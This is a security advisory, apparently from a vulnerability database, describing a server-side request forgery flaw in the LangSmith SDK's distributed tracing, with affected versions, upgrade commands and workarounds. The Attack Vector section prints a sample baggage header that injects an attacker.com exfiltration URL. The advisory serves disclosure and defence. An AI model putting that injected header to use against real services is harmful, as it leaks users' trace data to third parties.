langsmith
Affected
- introduced
0.4.10, fixed0.6.3(ecosystem)
Fixed versions
0.6.3
Fix
- Fixed version
0.6.3pip install --upgrade langsmith==0.6.3
Advisory
Also known as: CVE-2026-25528, GHSA-v34v-rq6j-cj6p
LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection
Summary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
---
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
---
Attack Vector
baggage header: baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
RunTree.from_headers(), storing the attacker's URLhttps://attacker.com/exfil---
Impact
---
Affected Use Cases
Applications are vulnerable if they:
TracingMiddleware to automatically propagate tracing contextRunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers---
Remediation
Update to the patched versions:
pip install langsmith>=0.6.3npm install langsmith@>=0.4.6The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
---
Workarounds
If unable to upgrade immediately:
baggage header before passing to from_headers()TracingMiddleware with untrusted trafficMedium Basis: CVSS v3 score 5.8, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
0.4.10, fixed 0.6.3 (ecosystem)0.6.3
0.6.3pip install --upgrade langsmith==0.6.3Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0